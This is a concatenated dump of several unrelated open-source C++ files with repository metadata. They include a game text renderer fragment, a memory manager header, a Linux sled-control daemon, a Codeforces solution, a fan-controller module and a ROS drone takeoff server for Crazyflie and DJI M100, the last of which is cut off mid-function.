icurPosition += pCurCharInfo->width;
if (iPixelPosition < icurPosition)
return i;
}
return -1;
}
int CGraphicTextInstance::GetHorizontalAlign()
{
return m_hAlign;
}
void CGraphicTextInstance::__Initialize()
{
m_roText = NULL;
m_hAlign = HORIZONTAL_ALIGN_LEFT;
m_vAlign = VERTICAL_ALIGN_TOP;
m_iMax = 0;
m_fLimitWidth = 1600.0f; // NOTE : 해상도의 최대치. 이보다 길게 쓸 일이 있을까? - [levites]
m_isCursor = false;
m_isSecret = false;
m_isMultiLine = false;
m_isOutline = false;
m_fFontFeather = c_fFontFeather;
m_isUpdate = false;
m_textWidth = 0;
m_textHeight = 0;
m_v3Position.x = m_v3Position.y = m_v3Position.z = 0.0f;
m_dwOutLineColor=0xff000000;
}
void CGraphicTextInstance::Destroy()
{
m_stText="";
m_pCharInfoVector.clear();
m_dwColorInfoVector.clear();
m_hyperlinkVector.clear();
__Initialize();
}
CGraphicTextInstance::CGraphicTextInstance()
{
__Initialize();
}
CGraphicTextInstance::~CGraphicTextInstance()
{
Destroy();
}
|
7365168acd737eaeed526e1000f65625e1cf3b9e | a8bb3d0f358ee683642e5baf49305b9a4feabe4c | /include/Managers/MemoryManager.h | 65940252c5a49e9f2095200716668f5951f6a04b | [
"MIT"
] | permissive | rasidin/LimitEngineV2 | d43938ac7bb3258c46a0a614bfb353e468b9bc62 | 9475e0dbf5f624ab50f6490d36068d558ecdaee6 | refs/heads/master | 2023-03-13T01:13:26.613056 | 2021-03-01T14:49:13 | 2021-03-01T14:49:13 | 232,845,409 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 705 | h | MemoryManager.h | //
// LE_MemoryManager.h
// LimitEngine
//
// Created by hikaru on 2014/02/23.
//
//
#ifndef _LE_MEMORYMANAGER_H_
#define _LE_MEMORYMANAGER_H_
#include "LE_Singleton.h"
#include "LE_Memory.h"
namespace LimitEngine {
class MemoryManager : public Singleton<MemoryManager>
{
public:
MemoryManager() {}
virtual ~MemoryManager() {}
static void Init();
static void InitWithMemoryPool(size_t poolSize);
static void* Alloc(size_t size)
{
return Memory::Malloc(size);
}
static void Free(void* ptr)
{
Memory::Free(ptr);
}
static void Term();
};
}
#endif
|
b0f55b233333b2c0832dcb618a42f8ccd3710fc2 | 49b106553b81f419d8e80191fc1844083a7e9d1b | /src/main.cc | ea20694fa9faed4358b90b915b9b0b14b70053b6 | [
"MIT"
] | permissive | wilberth/sled-server | 38089e8cc6e634ab6b1255c05295a51e5be9fbb4 | 42b5822f4b5c736d98b156671b66b261244e05e4 | refs/heads/master | 2020-12-25T13:24:07.205847 | 2019-03-28T15:43:19 | 2019-03-28T15:43:19 | 20,514,463 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,280 | cc | main.cc | #include <syslog.h>
#include <getopt.h>
#include <stdexcept>
#include <utility>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <execinfo.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <event2/event.h>
#include "server.h"
#define MAX_EVENTS 10
#define PRIORITY 49
#define MIN_MEMLOCK 104857600
/**
* Prints a backtrace on segmentation faults.
*/
static void signal_handler(int sig)
{
syslog(LOG_NOTICE, "%s() received signal %d (%s).",
__FUNCTION__, sig, strsignal(sig));
if(SIGSEGV == sig) {
void *array[10];
size_t size;
size = backtrace(array, 10);
backtrace_symbols_fd(array, size, fileno(stdout));
exit(EXIT_FAILURE);
}
if(SIGTERM == sig) {
syslog(LOG_WARNING, "%s() warning, proper shutdown "
"procedure has not been implemented", __FUNCTION__);
exit(EXIT_SUCCESS);
}
}
/**
* Try to setup real-time environment.
*
* See https://rt.wiki.kernel.org/index.php/RT_PREEMPT_HOWTO
*/
static int setup_realtime()
{
/* Declare ourself as a realtime task */
sched_param param;
param.sched_priority = PRIORITY;
if(sched_setscheduler(0, SCHED_FIFO, ¶m )== -1) {
perror("setup_realtime():sched_setscheduler()");
return -1;
}
/* Check whether we can lock enough memory in RAM */
struct rlimit limit;
if(getrlimit(RLIMIT_MEMLOCK, &limit) == -1) {
perror("setup_realtime():getrlimit()");
return -1;
}
if(limit.rlim_cur < MIN_MEMLOCK) {
fprintf(stderr, "Memlock limit of %lu MB is not sufficient. "
"Increase to at least %lu MB by editing "
"/etc/security/limits.conf, logout and "
"try again.\n",
limit.rlim_cur / 1048576,
(long unsigned) MIN_MEMLOCK / 1048576);
return -1;
}
/* Lock memory */
if(mlockall(MCL_CURRENT | MCL_FUTURE) == -1) {
perror("setup_realtime():mlockall()");
return -1;
}
return 0;
}
static long int writer(void *cookie, const char *data, size_t len)
{
syslog(LOG_DEBUG, "%.*s", (int) len, data);
}
static cookie_io_functions_t log_functions = {
(cookie_read_function_t *) NULL,
writer,
(cookie_seek_function_t *) NULL,
(cookie_close_function_t *) NULL
};
static void to_syslog(FILE **file)
{
*file = fopencookie(NULL, "w", log_functions);
setvbuf(*file, NULL, _IOLBF, 0);
}
/**
* Fork-off current process and initialize the new fork.
*/
static void daemonize()
{
/* Create fork */
pid_t pid = fork();
if(pid < 0)
exit(EXIT_FAILURE);
if(pid > 0)
exit(EXIT_SUCCESS);
/* Change file-mode mask */
umask(0);
/* Create new session */
pid_t sid = setsid();
if(sid < 0) {
syslog(LOG_ALERT, "%s() failed to create session", __FUNCTION__);
exit(EXIT_FAILURE);
}
/* Change working directory */
if((chdir("/")) < 0) {
syslog(LOG_ALERT, "%s() could not change "
"working directory", __FUNCTION__);
exit(EXIT_FAILURE);
}
/* Close file handles */
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
/* Redirect stderr and stdout to syslog */
to_syslog(&stdout);
to_syslog(&stderr);
}
/**
* Returns user-id given a name.
*/
static uid_t get_uid_by_name(const char *name)
{
if(name == NULL)
return -1;
passwd *pwent = getpwnam(name);
if(pwent == NULL)
return -1;
uid_t uid = pwent->pw_uid;
return uid;
}
// These make sure macros are expanded before concatenation
#define STRR(x) #x
#define STR(x) STRR(x)
static void print_help()
{
printf("Sled control server "
STR(VERSION_MAJOR) "." STR(VERSION_MINOR) " \n\n");
printf("Compiled from " STR(VERSION_BRANCH) "/" STR(VERSION_HASH)
" on " __DATE__ " " __TIME__ "\n");
printf("\n");
printf(" --no-daemon Do not daemonize.\n");
printf(" --help Print help text.\n");
printf("\n");
}
int main(int argc, char **argv)
{
int daemonize_flag = 1;
uid_t uid = get_uid_by_name("sled");
/* Parse command line arguments */
static struct option long_options[] =
{
{"no-daemon", no_argument, &daemonize_flag, 0},
{"help", no_argument, 0, 'h'},
{"user", required_argument, 0, 'u'},
{"\0", 0, 0, 0}
};
int option_index = 0;
int c = 0;
while((c = getopt_long(argc, argv, "hu:", long_options, &option_index)) != -1) {
switch(c) {
case 'u':
uid = get_uid_by_name(optarg);
if(uid == -1) {
fprintf(stderr, "Invalid user specified (%s).\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 'h':
print_help();
exit(EXIT_SUCCESS);
break;
}
}
if(daemonize_flag && (uid == -1)) {
fprintf(stderr, "Default user 'sled' does not exist, "
"and no user was specified.\n");
exit(EXIT_FAILURE);
}
/* Open system log. */
openlog("sled", LOG_NDELAY | LOG_NOWAIT, LOG_LOCAL3);
/* Write version information to log */
syslog(LOG_DEBUG, "%s() " STR(VERSION_BRANCH)
" version " STR(VERSION_MAJOR) "."
STR(VERSION_MINOR) " "
STR(VERSION_HASH)
" compiled " __DATE__ " " __TIME__, __FUNCTION__);
/* Daemonize process. */
if(daemonize_flag)
daemonize();
/* Print stack-trace on segmentation fault. */
signal(SIGSEGV, signal_handler);
signal(SIGTERM, signal_handler);
if(setup_realtime() == -1) {
fprintf(stderr, "Could not setup realtime environment.\n");
return 1;
}
/* Drop privileges */
if(uid != -1) {
if(setuid(uid) == -1) {
perror("setuid failed");
exit(EXIT_FAILURE);
}
}
/* Setup libevent */
event_config *cfg = event_config_new();
event_config_require_features(cfg, EV_FEATURE_FDS);
#ifdef EVENT_BASE_FLAG_PRECISE_TIMER
event_config_set_flag(cfg, EVENT_BASE_FLAG_PRECISE_TIMER);
#endif
event_config_set_flag(cfg, EVENT_BASE_FLAG_NOLOCK);
event_config_set_flag(cfg, EVENT_BASE_FLAG_NO_CACHE_TIME);
event_base *ev_base = event_base_new_with_config(cfg);
event_base_priority_init(ev_base, 2);
if(!ev_base) {
fprintf(stderr, "Error initializing libevent.\n");
return 1;
}
/* Setup context */
sled_server_ctx_t *context = setup_sled_server_context(ev_base);
if(context == NULL)
return 1;
printf("Starting event loop.\n");
// Event loop
event_base_loop(ev_base, 0);
printf("Stopping event loop.\n"); // never reached
/* Shutdown server */
teardown_sled_server_context(&context);
return 0;
}
|
bfead38f44bebb22fb9bcf954fc4f8f76ade5c54 | e509715d24d33c7163a73bd0ac7965644c53ca35 | /NekoPlace/Engine/Collectors.hpp | edf5d3332763f68a97f0fe138a378c97c2aba181 | [] | no_license | SleepySquash/NekoPlace.cpp | 0b565d2ef2b728e6ef3ddc4196ec82d0c3a4f858 | 50ee2d4e4c532e88b6b7d40672d097191675d0d9 | refs/heads/master | 2020-04-19T07:32:14.224693 | 2019-05-22T19:46:01 | 2019-05-22T19:46:01 | 168,050,222 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 331 | hpp | Collectors.hpp | //
// Collectors.hpp
// NekoPlace
//
// Created by Никита Исаенко on 16/05/2019.
// Copyright © 2019 Melanholy Hill. All rights reserved.
//
#ifndef Collectors_hpp
#define Collectors_hpp
#include "Collectors/Font.hpp"
#include "Collectors/Image.hpp"
#include "Collectors/Sound.hpp"
#endif /* Collectors_hpp */
|
7a099ff6e84c2a25827112c535580cbdae15d4c4 | 191bf92db1a9f6df7c30e37a8f0a14d1c220a3bd | /231A.CPP | ebf025c43af8c28d938cf230bb6c5786bc8f4c2e | [] | no_license | doomsday861/Allofit | 958fa379296e1a4c9a78b25ab0fd7c222bb1f81a | 94d644e52a64ff2949ea731c569478e721fc71bf | refs/heads/master | 2023-01-04T12:35:10.447467 | 2022-12-28T09:30:18 | 2022-12-28T09:30:18 | 250,110,669 | 0 | 1 | null | 2021-01-11T09:20:21 | 2020-03-25T22:59:54 | C++ | UTF-8 | C++ | false | false | 820 | cpp | 231A.CPP | /**
* 231A codeforces
* Kartikeya (doomsday861)
**/
#include<bits/stdc++.h>
#include<time.h>
#define ll long long
#define testcase ll t;cin>>t;while(t--)
#define timeb auto start = high_resolution_clock::now();
#define timee auto stop = high_resolution_clock::now();auto duration = duration_cast<seconds>(stop - start);cout << "Time taken by function: "<<duration.count() << "seconds" << endl;
using namespace std;
int main()
{
#ifndef ONLINE_JUDGE
freopen("in.txt", "r", stdin);
freopen("output.ans", "w", stdout);
#endif
ios_base::sync_with_stdio(false);
cin.tie(NULL);
cout.tie(NULL);
using namespace std::chrono;
//timeb
ll n;
cin >>n;
ll c=0;
ll o=0;
for(ll i =0 ; i < n;i++)
{ c=0;
for(ll j =0; j < 3;j++)
{
ll x;
cin >> x;
c +=x;
}
if(c>=2)
o++;
}
cout << o <<endl;
//timee
return 0;
} |
843083141e53cd8f4ebdff3ecaf03d949eb73070 | bc1c491732a243a4deb837af59d8233b99f6b2c8 | /src/fan_controllers/fan_controllers.cpp | 1a63b1cad8af8eb23946c7e4f969f2c51589bde6 | [] | no_license | calw20/MARS | 066fc0bb2e915f00cde170a159bebd1d1d0dff3a | 33a29ea464905af9d9b2584cbf7a8d55b6a246d0 | refs/heads/master | 2023-03-31T20:03:16.451973 | 2021-01-06T02:58:59 | 2021-01-06T02:58:59 | 288,875,606 | 1 | 0 | null | 2020-12-23T03:37:47 | 2020-08-20T01:29:37 | C++ | UTF-8 | C++ | false | false | 2,573 | cpp | fan_controllers.cpp | #include "fan_controllers.h"
//Makes things look neater I guess?
bool FanController::init(){
DBG_FPRINTLN("Initializing Fan Controllers...");
marsRoot->data.transFanSpeed[1] = LOWER_SERVO_MAP; //These dont change
marsRoot->data.transFanSpeed[2] = UPPER_SERVO_MAP;
ESC.attach(ESC_PIN,1000,2000); //Init the ESC
DBG_FPRINTLN("Arming Fan Controllers...");
setSpeed(0);
#if DO_DEBUG
DBG_FPRINT("Please Wait");
delay(400);
DBG_FPRINT(".");
delay(400);
DBG_FPRINT(".");
delay(400);
DBG_FPRINT(".");
delay(300);
#else
DBG_FPRINTLN("Please Wait...");
delay(1500); //Wait for amring
#endif
DBG_FPRINTLN("Armed and Operational.");
DBG_FPRINT("Initialized Fan Controllers.");
return true;
}
void FanController::genericError(const char* func, const char* file, u16 failLine){
DBG_FPRINTLN("################## Fan Controllers Error Info ##################");
DBG_FPRINTF("The Fan Controllers have experienced an Error of type: ","[%s]\r\nMore Details;\r\n",
CrashTypeText[status]); //DBG_PRINTLN();
printErrorInfo(func, file, failLine);
printDebug("-H");
DBG_PRINTLN();
}
void FanController::printDebug(String printValues){
//^ Defined in debug.h? //#define CHK_LETTER(letter) printValues.indexOf(letter) > -1
if (CHK_LETTER("-H")) printValues = "I";
if (CHK_LETTER("H")) DBG_FPRINTLN("===================== Fan Controllers Info =====================");
if (CHK_LETTER("I")){
DBG_FPRINT_SVLN("Current Fan Speed: ", currentSpeed);
}
}
//The inverse of setSpeed; Returns a value from [LOWER_SERVO_MAP, UPPER_SERVO_MAP] in [lowerESCmap, upperESCmap]
int FanController::getSpeed(){
return map(currentSpeed, LOWER_SERVO_MAP, UPPER_SERVO_MAP, lowerESCmap, upperESCmap);
}
void FanController::writeSpeed(){
ESC.write(currentSpeed);
}
//Convert a value in [lowerESCmap, upperESCmap] to [LOWER_SERVO_MAP, UPPER_SERVO_MAP] for the Servo Lib
void FanController::setSpeed(int newSpeed){
currentSpeed = map(newSpeed, lowerESCmap, upperESCmap, LOWER_SERVO_MAP, UPPER_SERVO_MAP);
DBG_FPRINT_SVLN("New FanSpeed: ", currentSpeed);
writeSpeed();
}
bool FanController::updatePayloadData(bool forceDataUpdate){
marsRoot->data.transFanSpeed[0] = currentSpeed;
marsRoot->data.fanSpeed[0] = getSpeed();
marsRoot->data.fanSpeed[1] = lowerESCmap;
marsRoot->data.fanSpeed[2] = upperESCmap;
return true;
} |
931b2b9a95803b43635b34f247f0efb0ae065265 | 9b337ae02d3ca11a029abb2c83cebbe888e37526 | /ros/src/crazyflie_takeoff/src/takeoff_server.cpp | 02de8c1cfb2d171b6c0e02056337ffbe6eba2bc9 | [
"BSD-3-Clause"
] | permissive | Bryceoz/crazyflie_clean | d7464a3b3f04a7823615d4ecf221a4c8f8496c80 | f202066fb91fbe5ce8b2cd20aca70f0156946b1b | refs/heads/master | 2021-04-27T22:16:21.932349 | 2018-04-20T04:31:43 | 2018-04-20T04:31:43 | 122,414,737 | 0 | 0 | null | 2018-02-22T01:14:36 | 2018-02-22T01:14:36 | null | UTF-8 | C++ | false | false | 20,971 | cpp | takeoff_server.cpp | /*
* Copyright (c) 2017, The Regents of the University of California (Regents).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Please contact the author(s) of this library if you have any questions.
* Authors: David Fridovich-Keil ( dfk@eecs.berkeley.edu )
*/
///////////////////////////////////////////////////////////////////////////////
//
// Class to handle takeoff and landing services.
//
///////////////////////////////////////////////////////////////////////////////
#include <crazyflie_takeoff/takeoff_server.h>
//DJI M100 Variables
const float deg2rad = C_PI/180.0;
const float rad2deg = 180.0/C_PI;
ros::ServiceClient set_local_pos_reference;
ros::ServiceClient sdk_ctrl_authority_service;
ros::ServiceClient drone_task_service;
ros::ServiceClient query_version_service;
ros::Publisher ctrlPosYawPub;
ros::Publisher ctrlBrakePub;
// DJI: global variables for subscribed topics
uint8_t flight_status = 255;
uint8_t display_mode = 255;
sensor_msgs::NavSatFix current_gps;
geometry_msgs::Quaternion current_atti;
geometry_msgs::Point current_local_pos;
Mission square_mission;
namespace crazyflie_takeoff {
// Initialize this node.
bool TakeoffServer::Initialize(const ros::NodeHandle& n) {
name_ = ros::names::append(n.getNamespace(), "takeoff_server");
if (!LoadParameters(n)) {
ROS_ERROR("%s: Failed to load parameters.", name_.c_str());
return false;
}
if (!RegisterCallbacks(n)) {
ROS_ERROR("%s: Failed to register callbacks.", name_.c_str());
return false;
}
if (!DJITakeoffSetup(n)) {
ROS_ERROR("%s: Failed to set up DJI takeoff parameters", name_.c_str());
return false;
}
initialized_ = true;
return true;
}
// Load parameters.
bool TakeoffServer::LoadParameters(const ros::NodeHandle& n) {
ros::NodeHandle nl(n);
// Topics.
if (!nl.getParam("topics/control", control_topic_)) return false;
if (!nl.getParam("topics/in_flight", in_flight_topic_)) return false;
if (!nl.getParam("topics/reference", reference_topic_)) return false;
// Hover point.
double init_x, init_y, init_z;
if (!nl.getParam("hover/x", init_x)) return false;
if (!nl.getParam("hover/y", init_y)) return false;
if (!nl.getParam("hover/z", init_z)) return false;
hover_point_ = Vector3d(init_x, init_y, init_z);
return true;
}
// Register callbacks.
bool TakeoffServer::RegisterCallbacks(const ros::NodeHandle& n) {
ros::NodeHandle nl(n);
// Publishers.
control_pub_ = nl.advertise<crazyflie_msgs::ControlStamped>(
control_topic_.c_str(), 10, false);
reference_pub_ = nl.advertise<crazyflie_msgs::PositionVelocityStateStamped>(
reference_topic_.c_str(), 10, false);
in_flight_pub_ = nl.advertise<std_msgs::Empty>(
in_flight_topic_.c_str(), 10, false);
// Services.
takeoff_srv_ =
nl.advertiseService("/takeoff", &TakeoffServer::TakeoffService, this);
land_srv_ = nl.advertiseService("/land", &TakeoffServer::LandService, this);
// Timer.
timer_ = nl.createTimer(ros::Duration(0.1), &TakeoffServer::TimerCallback, this);
return true;
}
// Timer callback for refreshing landing control signal.
void TakeoffServer::TimerCallback(const ros::TimerEvent& e) {
// If in flight, then no need to resend landing signal.
if (in_flight_)
return;
// Send a zero thrust signal.
crazyflie_msgs::ControlStamped msg;
msg.header.stamp = ros::Time::now();
msg.control.roll = 0.0;
msg.control.pitch = 0.0;
msg.control.yaw_dot = 0.0;
msg.control.thrust = 0.0;
control_pub_.publish(msg);
}
// Landing service.
bool TakeoffServer::
LandService(std_srvs::Empty::Request& req, std_srvs::Empty::Response& res) {
ROS_INFO("%s: Landing requested.", name_.c_str());
// Let other nodes know that we are not in flight anymore.
in_flight_pub_.publish(std_msgs::Empty());
// Slowly spin the rotors down.
const ros::Time right_now = ros::Time::now();
while ((ros::Time::now() - right_now).toSec() < 1.0) {
crazyflie_msgs::ControlStamped msg;
msg.header.stamp = ros::Time::now();
msg.control.roll = 0.0;
msg.control.pitch = 0.0;
msg.control.yaw_dot = 0.0;
// Slowly decrement thrust.
msg.control.thrust = std::max(0.0, crazyflie_utils::constants::G -
5.0 * (ros::Time::now() - right_now).toSec());
control_pub_.publish(msg);
// Sleep a little, then rerun the loop.
ros::Duration(0.01).sleep();
}
in_flight_ = false;
// Return true.
return true;
}
bool TakeoffServer::
DJITakeoffSetup(const ros::NodeHandle& n) {
ros::NodeHandle nh(n);
// Subscribe to messages from dji_sdk_node
ros::Subscriber attitudeSub = nh.subscribe("dji_sdk/attitude", 10, &attitude_callback);
ros::Subscriber gpsSub = nh.subscribe("dji_sdk/gps_position", 10, &gps_callback);
ros::Subscriber flightStatusSub = nh.subscribe("dji_sdk/flight_status", 10, &flight_status_callback);
ros::Subscriber displayModeSub = nh.subscribe("dji_sdk/display_mode", 10, &display_mode_callback);
ros::Subscriber localPosition = nh.subscribe("dji_sdk/local_position", 10, &local_position_callback);
// Publish the control signal
ctrlPosYawPub = nh.advertise<sensor_msgs::Joy>("dji_sdk/flight_control_setpoint_ENUposition_yaw", 10);
// We could use dji_sdk/flight_control_setpoint_ENUvelocity_yawrate here, but
// we use dji_sdk/flight_control_setpoint_generic to demonstrate how to set the flag
// properly in function Mission::step()
ctrlBrakePub = nh.advertise<sensor_msgs::Joy>("dji_sdk/flight_control_setpoint_generic", 10);
// Basic services
sdk_ctrl_authority_service = nh.serviceClient<dji_sdk::SDKControlAuthority> ("dji_sdk/sdk_control_authority");
drone_task_service = nh.serviceClient<dji_sdk::DroneTaskControl>("dji_sdk/drone_task_control");
query_version_service = nh.serviceClient<dji_sdk::QueryDroneVersion>("dji_sdk/query_drone_version");
set_local_pos_reference = nh.serviceClient<dji_sdk::SetLocalPosRef> ("dji_sdk/set_local_pos_ref");
return true;
}
int TakeoffServer::DJITakeoff()
{
bool obtain_control_result = obtain_control();
bool takeoff_result;
if (!set_local_position()) // We need this for height
{
ROS_ERROR("GPS health insufficient - No local frame reference for height. Exiting.");
return 1;
}
if(is_M100())
{
ROS_INFO("M100 taking off!");
takeoff_result = M100monitoredTakeoff();
}
else
{
ROS_INFO("A3/N3 taking off!");
takeoff_result = monitoredTakeoff();
}
if(takeoff_result)
{
square_mission.reset();
square_mission.start_gps_location = current_gps;
square_mission.start_local_position = current_local_pos;
square_mission.setTarget(0, 20, 3, 60);
square_mission.state = 1;
ROS_INFO("##### Start route %d ....", square_mission.state);
}
ros::spin();
return 0;
}
// Takeoff service. Set in_flight_ flag to true.
bool TakeoffServer::
TakeoffService(std_srvs::Empty::Request& req, std_srvs::Empty::Response& res) {
if (in_flight_) {
ROS_WARN("%s: Tried to takeoff while in flight.", name_.c_str());
return false;
}
ROS_INFO("%s: Takeoff requested.", name_.c_str());
//here we want to "rosrun" the demo node in the dji_sdk_demo package
//########################################################################
//TakeoffServer::DJI_Takeoff();
M100monitoredTakeoff();
//#########################################################################
// Lift off, and after a short wait return.
const ros::Time right_now = ros::Time::now();
/*
while ((ros::Time::now() - right_now).toSec() < 1.0) {
crazyflie_msgs::ControlStamped msg;
msg.header.stamp = ros::Time::now();
msg.control.roll = 0.0;
msg.control.pitch = 0.0;
msg.control.yaw_dot = 0.0;
// Offset gravity, plus a little extra to lift off.
msg.control.thrust = crazyflie_utils::constants::G + 0.2;
control_pub_.publish(msg);
// Sleep a little, then rerun the loop.
ros::Duration(0.01).sleep();
}
*/
// Send reference to LQR (which is hopefully running...).
crazyflie_msgs::PositionVelocityStateStamped reference;
reference.header.stamp = ros::Time::now();
reference.state.x = hover_point_(0);
reference.state.y = hover_point_(1);
reference.state.z = hover_point_(2);
reference.state.x_dot = 0.0;
reference.state.y_dot = 0.0;
reference.state.z_dot = 0.0;
reference_pub_.publish(reference);
// Give LQR time to get there.
ros::Duration(10.0).sleep();
in_flight_ = true;
// Send the in_flight signal to all other nodes!
in_flight_pub_.publish(std_msgs::Empty());
// Return true.
return true;
}
} //\namespace crazyflie_takeoff
//################################################ DJI Takeoff Helper functions
// Helper Functions
/*! Very simple calculation of local NED offset between two pairs of GPS
/coordinates. Accurate when distances are small.
!*/
void
localOffsetFromGpsOffset(geometry_msgs::Vector3& deltaNed,
sensor_msgs::NavSatFix& target,
sensor_msgs::NavSatFix& origin)
{
double deltaLon = target.longitude - origin.longitude;
double deltaLat = target.latitude - origin.latitude;
deltaNed.y = deltaLat * deg2rad * C_EARTH;
deltaNed.x = deltaLon * deg2rad * C_EARTH * cos(deg2rad*target.latitude);
deltaNed.z = target.altitude - origin.altitude;
}
geometry_msgs::Vector3 toEulerAngle(geometry_msgs::Quaternion quat)
{
geometry_msgs::Vector3 ans;
tf::Matrix3x3 R_FLU2ENU(tf::Quaternion(quat.x, quat.y, quat.z, quat.w));
R_FLU2ENU.getRPY(ans.x, ans.y, ans.z);
return ans;
}
void Mission::step()
{
static int info_counter = 0;
geometry_msgs::Vector3 localOffset;
float speedFactor = 2;
float yawThresholdInDeg = 2;
float xCmd, yCmd, zCmd;
localOffsetFromGpsOffset(localOffset, current_gps, start_gps_location);
double xOffsetRemaining = target_offset_x - localOffset.x;
double yOffsetRemaining = target_offset_y - localOffset.y;
double zOffsetRemaining = target_offset_z - localOffset.z;
double yawDesiredRad = deg2rad * target_yaw;
double yawThresholdInRad = deg2rad * yawThresholdInDeg;
double yawInRad = toEulerAngle(current_atti).z;
info_counter++;
if(info_counter > 25)
{
info_counter = 0;
ROS_INFO("-----x=%f, y=%f, z=%f, yaw=%f ...", localOffset.x,localOffset.y, localOffset.z,yawInRad);
ROS_INFO("+++++dx=%f, dy=%f, dz=%f, dyaw=%f ...", xOffsetRemaining,yOffsetRemaining, zOffsetRemaining,yawInRad - yawDesiredRad);
}
if (abs(xOffsetRemaining) >= speedFactor)
xCmd = (xOffsetRemaining>0) ? speedFactor : -1 * speedFactor;
else
xCmd = xOffsetRemaining;
if (abs(yOffsetRemaining) >= speedFactor)
yCmd = (yOffsetRemaining>0) ? speedFactor : -1 * speedFactor;
else
yCmd = yOffsetRemaining;
zCmd = start_local_position.z + target_offset_z;
/*!
* @brief: if we already started breaking, keep break for 50 sample (1sec)
* and call it done, else we send normal command
*/
if (break_counter > 50)
{
ROS_INFO("##### Route %d finished....", state);
finished = true;
return;
}
else if(break_counter > 0)
{
sensor_msgs::Joy controlVelYawRate;
uint8_t flag = (DJISDK::VERTICAL_VELOCITY |
DJISDK::HORIZONTAL_VELOCITY |
DJISDK::YAW_RATE |
DJISDK::HORIZONTAL_GROUND |
DJISDK::STABLE_ENABLE);
controlVelYawRate.axes.push_back(0);
controlVelYawRate.axes.push_back(0);
controlVelYawRate.axes.push_back(0);
controlVelYawRate.axes.push_back(0);
controlVelYawRate.axes.push_back(flag);
ctrlBrakePub.publish(controlVelYawRate);
break_counter++;
return;
}
else //break_counter = 0, not in break stage
{
sensor_msgs::Joy controlPosYaw;
controlPosYaw.axes.push_back(xCmd);
controlPosYaw.axes.push_back(yCmd);
controlPosYaw.axes.push_back(zCmd);
controlPosYaw.axes.push_back(yawDesiredRad);
ctrlPosYawPub.publish(controlPosYaw);
}
if (std::abs(xOffsetRemaining) < 0.5 &&
std::abs(yOffsetRemaining) < 0.5 &&
std::abs(zOffsetRemaining) < 0.5 &&
std::abs(yawInRad - yawDesiredRad) < yawThresholdInRad)
{
//! 1. We are within bounds; start incrementing our in-bound counter
inbound_counter ++;
}
else
{
if (inbound_counter != 0)
{
//! 2. Start incrementing an out-of-bounds counter
outbound_counter ++;
}
}
//! 3. Reset withinBoundsCounter if necessary
if (outbound_counter > 10)
{
ROS_INFO("##### Route %d: out of bounds, reset....", state);
inbound_counter = 0;
outbound_counter = 0;
}
if (inbound_counter > 50)
{
ROS_INFO("##### Route %d start break....", state);
break_counter = 1;
}
}
bool takeoff_land(int task)
{
dji_sdk::DroneTaskControl droneTaskControl;
droneTaskControl.request.task = task;
drone_task_service.call(droneTaskControl);
if(!droneTaskControl.response.result)
{
ROS_ERROR("takeoff_land fail");
return false;
}
return true;
}
bool obtain_control()
{
dji_sdk::SDKControlAuthority authority;
authority.request.control_enable=1;
sdk_ctrl_authority_service.call(authority);
if(!authority.response.result)
{
ROS_ERROR("obtain control failed!");
return false;
}
return true;
}
bool is_M100()
{
dji_sdk::QueryDroneVersion query;
query_version_service.call(query);
if(query.response.version == DJISDK::DroneFirmwareVersion::M100_31)
{
return true;
}
return false;
}
void attitude_callback(const geometry_msgs::QuaternionStamped::ConstPtr& msg)
{
current_atti = msg->quaternion;
}
void local_position_callback(const geometry_msgs::PointStamped::ConstPtr& msg)
{
current_local_pos = msg->point;
}
void gps_callback(const sensor_msgs::NavSatFix::ConstPtr& msg)
{
static ros::Time start_time = ros::Time::now();
ros::Duration elapsed_time = ros::Time::now() - start_time;
current_gps = *msg;
// Down sampled to 50Hz loop
if(elapsed_time > ros::Duration(0.02))
{
start_time = ros::Time::now();
switch(square_mission.state)
{
case 0:
break;
case 1:
if(!square_mission.finished)
{
square_mission.step();
}
else
{
square_mission.reset();
square_mission.start_gps_location = current_gps;
square_mission.start_local_position = current_local_pos;
square_mission.setTarget(20, 0, 0, 0);
square_mission.state = 2;
ROS_INFO("##### Start route %d ....", square_mission.state);
}
break;
case 2:
if(!square_mission.finished)
{
square_mission.step();
}
else
{
square_mission.reset();
square_mission.start_gps_location = current_gps;
square_mission.start_local_position = current_local_pos;
square_mission.setTarget(0, -20, 0, 0);
square_mission.state = 3;
ROS_INFO("##### Start route %d ....", square_mission.state);
}
break;
case 3:
if(!square_mission.finished)
{
square_mission.step();
}
else
{
square_mission.reset();
square_mission.start_gps_location = current_gps;
square_mission.start_local_position = current_local_pos;
square_mission.setTarget(-20, 0, 0, 0);
square_mission.state = 4;
